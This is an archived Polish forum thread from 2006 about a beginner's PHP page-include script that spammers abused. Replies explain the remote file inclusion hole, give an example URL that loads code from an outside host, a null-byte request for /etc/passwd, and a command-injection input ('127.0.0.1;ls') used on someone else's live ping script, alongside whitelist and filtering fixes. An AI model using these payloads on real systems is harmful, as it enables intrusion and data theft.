Dziurawy kod??
troloo@gmail.com - 10-11-2006 00:23
Dziurawy kod??
Witam, nie mam zbyt wiele doswiadczenia w PHP... ;-) Ostatnio dostalem maila od administratora mojego serwera, ze mam dziurawy kod w skrypcie main.php i ktos wykorzystuje te luke do wysylania spamu. Generalnie nie jest to nadzwyczajnie skomplikowany skrypt stad moja prosba o szybka fachowa analize :-)
main.php (wklejam tylko kod php, html pewnie nie jest istotny):
.... <?php @ require_once ("top.php"); ?> .... <?php @ require_once ("top_bar.php"); ?> .... <?php @ require_once ("menu.php"); ?> .... <? $myPage = $_REQUEST["page"]; $month = $_REQUEST["month"]; $year = $_REQUEST["year"]; if ( isset($myPage) ) { if ( $myPage == "news") { include ("news.php"); } else if ( $sub == "right" ) { include ("$sub/$myPage.html"); } else { require ("$myPage$ID.html"); } } else { include ("news.php"); } ?> .... <?php @ require_once ("right.php"); ?> .... <?php require("bbclone/var/access.php"); $totalvisits = $access["page"]["Strona Glowna"]["count"]; echo "Jestes <b>$totalvisits</b> gosciem<br>na naszej stronie"; ?> .... <?php @ require_once ("bottom.php"); ?>
I to tyle... Czy cos tu moze byc nie tak? Tak naprawde w includowanych plikach raczej nie ma nic z php oprocz systemu newsow i bbclone'a ktore zaktualizowalem do najnowszych po pierwszym monicie admina. Sytuacja ze spamem niestety sie powtorzyla, nie do konca wiem dlaczego... Moze ktos cos zasugerowac??
Pozdrawiam,
TroLoo
| - 10-11-2006 00:24
troloo@gmail.com napisał(a): > require("bbclone/var/access.php");
Podany kod jest chyba ok, ale moze byc cos nie ku ku we wczytywanych plikach. Stawiam na powyzszy. Zajrzyj na strone BBclone czy nie wykryto jakichs dziur i czy masz najnowsza wersje.
To najczestsza forma wlaman (niestety sam to przezylem ale z innym skryptem sciagnietym z sieci :( ). "Hakiery" przegladaja raporty o bledach w open sourcowych skryptach php (albo sami znajduja blad) i potem szukaja witryn ktore maja zainstalowane owe w niezalatanej wersji.
-- body { name: '|<oĂąrad Karpieszu>|'; visit: url('http://www.vivamozilla.civ.pl'); blog: url('http://aukcjoteka.blogspot.com/'); }
Lemat - 10-11-2006 00:24
troloo@gmail.com napisał(a): > Witam, nie mam zbyt wiele doswiadczenia w PHP... ;-) Ostatnio dostalem > maila od administratora mojego serwera, ze mam dziurawy kod w skrypcie > main.php i ktos wykorzystuje te luke do wysylania spamu. Generalnie nie > jest to nadzwyczajnie skomplikowany skrypt stad moja prosba o szybka > fachowa analize :-) > > main.php (wklejam tylko kod php, html pewnie nie jest istotny): > > require ("$myPage$ID.html"); >
powyższa linia pozwala załadować dowolny kod (nie widzę abyś wcześniej sprawdzał co w tych zmiennych siedzi) - zgodnie z tym, co mówił admin. Swoją drogą admin dał trochę ciała, że się nie umiał przed tym zabezpieczyć. na twoim i jago miejscu zacząłbym szukać, jakie pliki (ukryte) doszły ostatnio do serwera.
-- Pozdrawiam Lemat pomóż zwalczyć spam z ICIC: http://www.lemat.priv.pl/index.php?m=page&pg_id=106 podlinkuj się do http://icic.pl
porneL - 10-11-2006 00:24
On Fri, 20 Oct 2006 20:56:39 +0100, <troloo@gmail.com> wrote:
> $myPage = $_REQUEST["page"];
> require ("$myPage$ID.html");
*Nigdy*, przenigdy nie należy wstawiać *żadnych zmiennych* od użytkownika do jakichkolwiek *ścieżek*, jeśli uprzednio starannie ich nie przefiltrujesz (file_exists czy sprawdzanie kilku znanych ci sposbów włamań to nie jest żadne filtrowanie).
Jeśli masz PHP starsze niż 5.1 i włączone allow_url_fopen (które zdaje się, że jest domyślnie włączone), to ten require() idealnie nadaje się do kompletnego przejęcia serwera (nawet wpadł mi w ręce fajny gotowy exploit, który udostępnia zdalną shellową konsolkę, transfery plików i inne takie fajne :)
-- * html {redirect-to: url(http://kurs.browsehappy.pl);} this.author = new Geek("porneL");
| - 10-11-2006 00:24
porneL napisał(a): >> require ("$myPage$ID.html"); [...] > Jeśli masz PHP starsze niż 5.1 i włączone allow_url_fopen (które zdaje > się, że jest domyślnie włączone), to ten require() idealnie nadaje się > do kompletnego przejęcia serwera (nawet wpadł mi w ręce fajny gotowy > exploit, który udostępnia zdalną shellową konsolkę, transfery plików i > inne takie fajne :)
a ja wlasnie nie rozumiem. Mozesz podac przyklad co trzeba dokleic do urla i zawartosc pliku tak wczytywanego?
-- body { name: '|<oĂąrad Karpieszu>|'; visit: url('http://www.vivamozilla.civ.pl'); blog: url('http://aukcjoteka.blogspot.com/'); }
Wojciech Bancer - 10-11-2006 00:24
|<onrad napisał(a):
> porneL napisał(a): >>> require ("$myPage$ID.html"); > [...] >> Jeśli masz PHP starsze niż 5.1 i włączone allow_url_fopen (które zdaje >> się, że jest domyślnie włączone), to ten require() idealnie nadaje się >> do kompletnego przejęcia serwera (nawet wpadł mi w ręce fajny gotowy >> exploit, który udostępnia zdalną shellową konsolkę, transfery plików i >> inne takie fajne :)
> a ja wlasnie nie rozumiem. Mozesz podac przyklad co trzeba dokleic do > urla
O ile pamiętam, to np. strona.php?myPage=http://mojadres.com/moj.kod.php.txt%00&ID=cokolwiek
> i zawartosc pliku tak wczytywanego?
Dowolny kod php.
-- Wojciech Bancer
| - 10-11-2006 00:24
Wojciech Bancer napisał(a): > O ile pamiętam, to np. > strona.php?myPage=http://mojadres.com/moj.kod.php.txt%00&ID=cokolwiek
co to jest %00?
-- body { name: '|<oĂąrad Karpieszu>|'; visit: url('http://www.vivamozilla.civ.pl'); blog: url('http://aukcjoteka.blogspot.com/'); }
Wojciech Bancer - 10-11-2006 00:24
|<onrad napisał(a):
>> O ile pamiętam, to np. >> strona.php?myPage=http://mojadres.com/moj.kod.php.txt%00&ID=cokolwiek
> co to jest %00?
Znak o kodzie 0. W systemie taki znak jest traktowany jak koniec stringa, co ma bardzo duże znaczenie przy np. otwieraniu plików. Zrób sobie prosty test:
Utwórz trzy pliki: strona.html (dowolna zawartość do wyświetlenia) strona (zawartość inna niż wyżej) test.php
W test.php: <?php
if (isset($_GET['page'])) { include ($_GET['page'] .'.html'); }
?>
I wywołaj: test.php?page=strona test.php?page=strona%00
I opisz czy zaobserwowałeś jakieś różnice. :)
A potem sprawdź np. działanie: test.php?page=/etc/passwd%00 (jeżeli uruchamiasz na linuksie).
Dzwoni już w dyni? ;)
-- Wojciech Bancer
| - 10-11-2006 00:24
Wojciech Bancer napisał(a): > Dzwoni już w dyni? ;)
no dzwoni, ale czy nie jest to blad w samym PHP?
Bo imo gdy parser trafi na %00 powinien zglosic blad, ze nie ma zamykajacego nawiasu a tym bardziej ";"
-- body { name: '|<oĂąrad Karpieszu>|'; visit: url('http://www.vivamozilla.civ.pl'); blog: url('http://aukcjoteka.blogspot.com/'); }
Lemat - 10-11-2006 00:24
|<onrad napisał(a): > Wojciech Bancer napisał(a): >> Dzwoni już w dyni? ;) > > no dzwoni, ale czy nie jest to blad w samym PHP? > > Bo imo gdy parser trafi na %00 powinien zglosic blad, ze nie ma > zamykajacego nawiasu a tym bardziej ";"
a zmienna otrzymuje swoją wartość w momencie parsowania pliku czy w momencie jego uruchomienia? ;)
-- Pozdrawiam Lemat pomóż zwalczyć spam z ICIC: http://www.lemat.priv.pl/index.php?m=page&pg_id=106 podlinkuj się do http://icic.pl
porneL - 10-11-2006 00:24
On Sat, 21 Oct 2006 13:20:42 +0100, |<onrad <bez.adresu@jest.bardziej.trendy> wrote:
> Wojciech Bancer napisał(a): >> Dzwoni już w dyni? ;) > > no dzwoni, ale czy nie jest to blad w samym PHP?
Wg mnie to jest błąd. Złaszałem go nawet twórcom PHP, ale wg ich to nie jest bug. Widocznie lubią "stratne" podejście do przetwarzania danych i wspieranie rzeczy nie potrzebnych nikomu poza autorami exploitów.
-- * html {redirect-to: url(http://kurs.browsehappy.pl);} this.author = new Geek("porneL");
Wojciech Bancer - 10-11-2006 00:24
|<onrad napisał(a):
> no dzwoni, ale czy nie jest to blad w samym PHP?
> Bo imo gdy parser trafi na %00 powinien zglosic blad, ze nie ma > zamykajacego nawiasu a tym bardziej ";"
Ale to przecież wszystko jest. Napis (jako ciąg) to jest sekwencja następujących po sobie bajtów. Przy czym PHP nie traktuje \0 jako końca stringa (jak w przykładzie zamiast include dasz print, to dostaniesz cały napis, sklejony a w miejscu %00 dostaniesz NUL). :)
I IMHO takie zachowanie jest poprawne, bo zmienne mogą przechowywać także dane binarne, a tam występowanie znaku \0 w zmiennej nie jest przecież takie niezwykłe.
Problem jest na styku PHP <-> System Operacyjny, bo funkcje systemowe (w C) otwierające pliki spodziewają się 'NULL terminated string'. Ale szczerze mówiąc nie bardzo wyobrażam sobie jak PHP miałoby 'z automatu' przed czymś takim zabezpieczać. I wolałbym, żeby nie dokładali kolejnej magic_* funkcjonalności, która powoduje że zamiast po prostu zabezpieczyć coś, to ja najpierw muszę robić hocki-klocki i dopasowywać się do konfiguracji serwera zanim będę mógł swój kod wykonać. :)
-- Wojciech Bancer
troloo@gmail.com - 10-11-2006 00:24
porneL wrote: > > $myPage = $_REQUEST["page"]; > > require ("$myPage$ID.html"); > *Nigdy*, przenigdy nie należy wstawiać *żadnych zmiennych* od użytkownika > do jakichkolwiek *ścieżek*, jeśli uprzednio starannie ich nie > przefiltrujesz (file_exists czy sprawdzanie kilku znanych ci sposbów > włamań to nie jest żadne filtrowanie).
Ok, teraz to widze... Panowie administratorzy musieli sie niezle nabiegac przeze mnie :) Ale tak naprawde to serwery oferujace publiczny hosting powinny byc *dobrze* zabezpieczone przed 'wywaleniem' z powodu dziurawego kodu.
No nic, co sie stalo sie nie odstanie, teraz jak to naprawic? ;) a) nie bardzo moge (prawdopodobnie z powodu mojej ograniczonej wiedzy) czytac tylko z $_POST[ ] poniewaz linki w menu na stronie sa postaci "mojastrona.com?page=news"; nie do konca wiem jak moglbym po kliknieciu na link odswiezyc strone zmieniajac wczesniej aktualna podstrone w tablicy $_POST["page"] b) biorac pod uwage bardzo ograniczona ilosc podstron moze wystarczy sprawdzenie wszystkich mozliwosci zmiennych $myPage i $ID (stworzyc tablice dobrych wynikow i sprawdzac czy kombinacja znajduje sie w tablicy przed jej wywolaniem)? c) jak to powinno byc zrobione fachowo ;)?
Pozdrawiam,
TroLoo
porneL - 10-11-2006 00:24
On Sat, 21 Oct 2006 19:27:49 +0100, Wojciech Bancer <proteus@post.pl> wrote:
> Problem jest na styku PHP <-> System Operacyjny, bo funkcje systemowe (w > C) > otwierające pliki spodziewają się 'NULL terminated string'. Ale szczerze > mówiąc nie bardzo wyobrażam sobie jak PHP miałoby 'z automatu' przed > czymś takim zabezpieczać.
W funkcji konwertującej stringi binary-safe na zero-terminated w przypadku niewykonalnej konwersji, zamiast po cichu problem ignorować i zwracać błędne dane, po prostu zasygnalizować błąd, który przerwie całą operację.
-- * html {redirect-to: url(http://kurs.browsehappy.pl);} this.author = new Geek("porneL");
Lemat - 10-11-2006 00:24
troloo@gmail.com napisał(a):
> Ok, teraz to widze... Panowie administratorzy musieli sie niezle > nabiegac przeze mnie :)
jeżeli "musieli się nabiegać" to mają kiepskie zabezpieczenia. Nawet ja nie będąc żadnym guru czy inna świętą krową (polemika mile widziana) wiem jak zabezpieczyć swój serwer tak, aby takie kwiatki wyłapywać czytając po prostu log systemowy raz na jakiś czas.
> Ale tak naprawde to serwery oferujace publiczny > hosting powinny byc *dobrze* zabezpieczone przed 'wywaleniem' z powodu > dziurawego kodu.
hostingownie zazwyczaj tną koszty zatrudniając na stanowisku admina lamerów. Dzięki temu masz tani hosting, ale przy pierwszej lepszej akcji musisz uczyć tamtejszych adminów co powinni zrobić. Oczywiście jak wybierasz hosting to kierujesz się ceną/możliwościami a nie "teczkami" pracowników, do których zresztą nie masz dostępu.
> No nic, co sie stalo sie nie odstanie, teraz jak to naprawic? ;) > a) nie bardzo moge (prawdopodobnie z powodu mojej ograniczonej wiedzy) > czytac tylko z $_POST[ ] poniewaz linki w menu na stronie sa postaci > "mojastrona.com?page=news"; nie do konca wiem jak moglbym po kliknieciu > na link odswiezyc strone zmieniajac wczesniej aktualna podstrone w > tablicy $_POST["page"] > b) biorac pod uwage bardzo ograniczona ilosc podstron moze wystarczy > sprawdzenie wszystkich mozliwosci zmiennych $myPage i $ID (stworzyc > tablice dobrych wynikow i sprawdzac czy kombinacja znajduje sie w > tablicy przed jej wywolaniem)? > c) jak to powinno byc zrobione fachowo ;)?
tak jak w punkcie b)
-- Pozdrawiam Lemat pomóż zwalczyć spam z ICIC: http://www.lemat.priv.pl/index.php?m=page&pg_id=106 podlinkuj się do http://icic.pl
porneL - 10-11-2006 00:24
On Sat, 21 Oct 2006 21:00:52 +0100, <troloo@gmail.com> wrote:
> No nic, co sie stalo sie nie odstanie, teraz jak to naprawic? ;) > a) nie bardzo moge (prawdopodobnie z powodu mojej ograniczonej wiedzy) > czytac tylko z $_POST[ ]
Przyczyna nie leży w tym jak dostajesz dane, a jak je używasz. Nawet jakbyś kazał zamawiać strony przez sygnały dymne, to i tak można by było przeprowadzić takie włamanie.
> b) biorac pod uwage bardzo ograniczona ilosc podstron moze wystarczy > sprawdzenie wszystkich mozliwosci zmiennych $myPage i $ID (stworzyc > tablice dobrych wynikow i sprawdzac czy kombinacja znajduje sie w > tablicy przed jej wywolaniem)?
Tak, to jedna z możliwości.
> c) jak to powinno byc zrobione fachowo ;)?
Tak jak powyżej.
Dla leniwych wystarczy coś w stylu: $strona = substr(preg_replace('/[^a-z0-9]+/','',$_GET['strona']),0,1000); // To pozostawi tylko litery i cyfry z ciągu i przytnie ciąg do sensownej długości.
-- * html {redirect-to: url(http://kurs.browsehappy.pl);} this.author = new Geek("porneL");
Lemat - 10-11-2006 00:24
porneL napisał(a): > Dla leniwych wystarczy coś w stylu: > $strona = > substr(preg_replace('/[^a-z0-9]+/','',$_GET['strona']),0,1000); // To > pozostawi tylko litery i cyfry z ciągu i przytnie ciąg do sensownej > długości.
ja tylko ośmielę się dodać ?strona=twojtajnyplikzhaslami
-- Pozdrawiam Lemat
porneL - 10-11-2006 00:24
On Sat, 21 Oct 2006 22:00:09 +0100, Lemat <lemat_hates_spam@lemat.priv.pl> wrote:
> porneL napisał(a): >> Dla leniwych wystarczy coś w stylu: >> $strona = >> substr(preg_replace('/[^a-z0-9]+/','',$_GET['strona']),0,1000); // To >> pozostawi tylko litery i cyfry z ciągu i przytnie ciąg do sensownej >> długości. > > ja tylko ośmielę się dodać > ?strona=twojtajnyplikzhaslami
Taki mały tip -- nie instaluje się aplikacji webowych w /etc ;)
-- * html {redirect-to: url(http://kurs.browsehappy.pl);} this.author = new Geek("porneL");
Wojciech Bancer - 10-11-2006 00:24
porneL napisał(a):
>> otwierające pliki spodziewają się 'NULL terminated string'. Ale szczerze >> mówiąc nie bardzo wyobrażam sobie jak PHP miałoby 'z automatu' przed >> czymś takim zabezpieczać.
> W funkcji konwertującej stringi binary-safe na zero-terminated w przypadku > niewykonalnej konwersji, zamiast po cichu problem ignorować i zwracać > błędne dane, po prostu zasygnalizować błąd, który przerwie całą operację.
Tylko tak, czy siak oznaczałoby to konieczność przewidzenia sytuacji przez programistę i zabezpieczenia się przed tym, żeby użytkownik nie mógł wywalić aplikacji (bo rozumiem, że w przykadku sygnalizacji błędu, taki include, czy require by nie miał zadziałać), a więc sprowadzałoby się to do jakiegoś sprawdzania kodu. Bo cokolwiek mało profesjonalnie wygląda aplikacja, którą można wywalić doklejając 3 znaczki do zmiennej w URLu. :)
No i dalej nie rozwiązałoby to problemów z użytkownikami piszącymi po prostu 'require($_GET['page']);', a takich podejrzewam jest również sporo.
-- Wojciech Bancer
porneL - 10-11-2006 00:24
On Sun, 22 Oct 2006 13:29:48 +0100, Wojciech Bancer <proteus@post.pl> wrote:
>> W funkcji konwertującej stringi binary-safe na zero-terminated w >> przypadku >> niewykonalnej konwersji, zamiast po cichu problem ignorować i zwracać >> błędne dane, po prostu zasygnalizować błąd, który przerwie całą >> operację. > > Tylko tak, czy siak oznaczałoby to konieczność przewidzenia sytuacji > przez programistę i zabezpieczenia się przed tym, żeby użytkownik nie > mógł wywalić aplikacji
To chyba normalne postępowanie, nie?
> (bo rozumiem, że w przykadku sygnalizacji błędu, taki include, > czy require by nie miał zadziałać), a więc sprowadzałoby się to do > jakiegoś sprawdzania kodu. Bo cokolwiek mało profesjonalnie wygląda > aplikacja, którą można wywalić doklejając 3 znaczki do zmiennej w URLu. > :)
Jeśli programista na głupa wrzuca dane do include(), to bylejakie trzy znaczki wywalą błąd (brak pliku).
-- * html {redirect-to: url(http://kurs.browsehappy.pl);} this.author = new Geek("porneL");
Wojciech Bancer - 10-11-2006 00:24
porneL napisał(a):
[...]
>> Tylko tak, czy siak oznaczałoby to konieczność przewidzenia sytuacji >> przez programistę i zabezpieczenia się przed tym, żeby użytkownik nie >> mógł wywalić aplikacji
> To chyba normalne postępowanie, nie?
Tyle, że w takim razie po co ładować dodatkowe zabezpieczenia do funkcji ładującej, skoro programista, tak czy siak musi zadbać o weryfikację kodu? :) Tak naprawdę ochroniłoby to tylko przed niewielką (IMHO) grupą błędów popełnianych przez raczej początkujących programistów. A Ci zapewne poza tym jednym, popełnią też szereg innych, bo stare, popularne książki są pełne złych wzorców. :(
-- Wojciech Bancer
Pawel Andziak - 10-11-2006 01:43
troloo@gmail.com napisał(a): > Witam, nie mam zbyt wiele doswiadczenia w PHP... ;-) Ostatnio dostalem > maila od administratora mojego serwera, ze mam dziurawy kod w skrypcie > main.php i ktos wykorzystuje te luke do wysylania spamu. Generalnie nie > jest to nadzwyczajnie skomplikowany skrypt stad moja prosba o szybka > fachowa analize :-)
ogolnie w internecie lezy bardzo duzo dziurawych skryptow ;] dobrze ze twoj administrator w ogole sie zorientowal, ze cos sie dzieje. z pol roku temu znalazlem przez googla strone, na ktorej chodzi skrypt php umozliwiajacy wyslanie pinga do dowolnego komputera. wystarczy podac ip. do tej pory dziala tak samo pieknie ;]
przyklad: podaje w okienku 127.0.0.1
Ping to 127.0.0.1
PING 127.0.0.1 (127.0.0.1): 56 data bytes 64 bytes from 127.0.0.1: icmp_seq=0 ttl=64 time=0.3 ms 64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.2 ms 64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.2 ms 64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.2 ms 64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.3 ms
--- 127.0.0.1 ping statistics --- 5 packets transmitted, 5 packets received, 0% packet loss round-trip min/avg/max = 0.2/0.2/0.3 ms
a teraz ciekawsze uzycie: podaje w okienku 127.0.0.1;ls Ping to 127.0.0.1;ls
PING 127.0.0.1 (127.0.0.1): 56 data bytes 64 bytes from 127.0.0.1: icmp_seq=0 ttl=64 time=0.3 ms 64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.2 ms 64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.2 ms 64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.2 ms 64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.2 ms
--- 127.0.0.1 ping statistics --- 5 packets transmitted, 5 packets received, 0% packet loss round-trip min/avg/max = 0.2/0.2/0.3 ms CVS index.php ping.php traceroute traceroute.php
na szczescie jakies zabezpieczenie jest. w podawanym adresie nie moze byc spacji, wiec w gre wchodza tylko pojedyncze polecenia, ale to wystarczy, zeby sie sporo dowiedziec o samej konfiguracji serwera... co ciekawe serwer nalezy do jakiejs firmy hostingowo/kolokacyjnej.
-- ganda
zanotowane.pldoc.pisz.plpdf.pisz.pleffulla.pev.pl
|
Przeksztalcenie znaku na jego kod
=?ISO-8859-2?Q?[MySQL]_warto=B6=E6_numeryczna?=
Cena Photoshopa CS 2 i jego legalnosc w Polsce - Allegro
[MSSQL 2000] procedura kopiująca rekordy i indeks UNIQUE
xHarbour
EPS - bebechy
kursory Oracle - lamerskie pytanie
[FB, ODBC] Ilosc otwartych polaczen do bazy
IB - zapytanie - pomocy :))
Drukowanie kilku pdf na jednej stronie
zanotowane.pldoc.pisz.plpdf.pisz.plmarcelq.xlx.pl
Cytat
Decede mihi sole - nie zasłaniaj mi słonca. Gdy kogoś kochasz, jesteś jak stworzyciel świata - na cokolwiek spojrzysz, nabiera to kształtu, wypełnia się barwą, światłem. Powietrze przytula się do ciebie, choćby był mróz, a ty masz w sobie tyle radości, że musisz ją rozdawać wokoło, bo się w tobie nie mieści Hoc fac - tak czyń. A tergo - od tyłu; z tyłu. I czarne włosy posiwieją. Safona |
|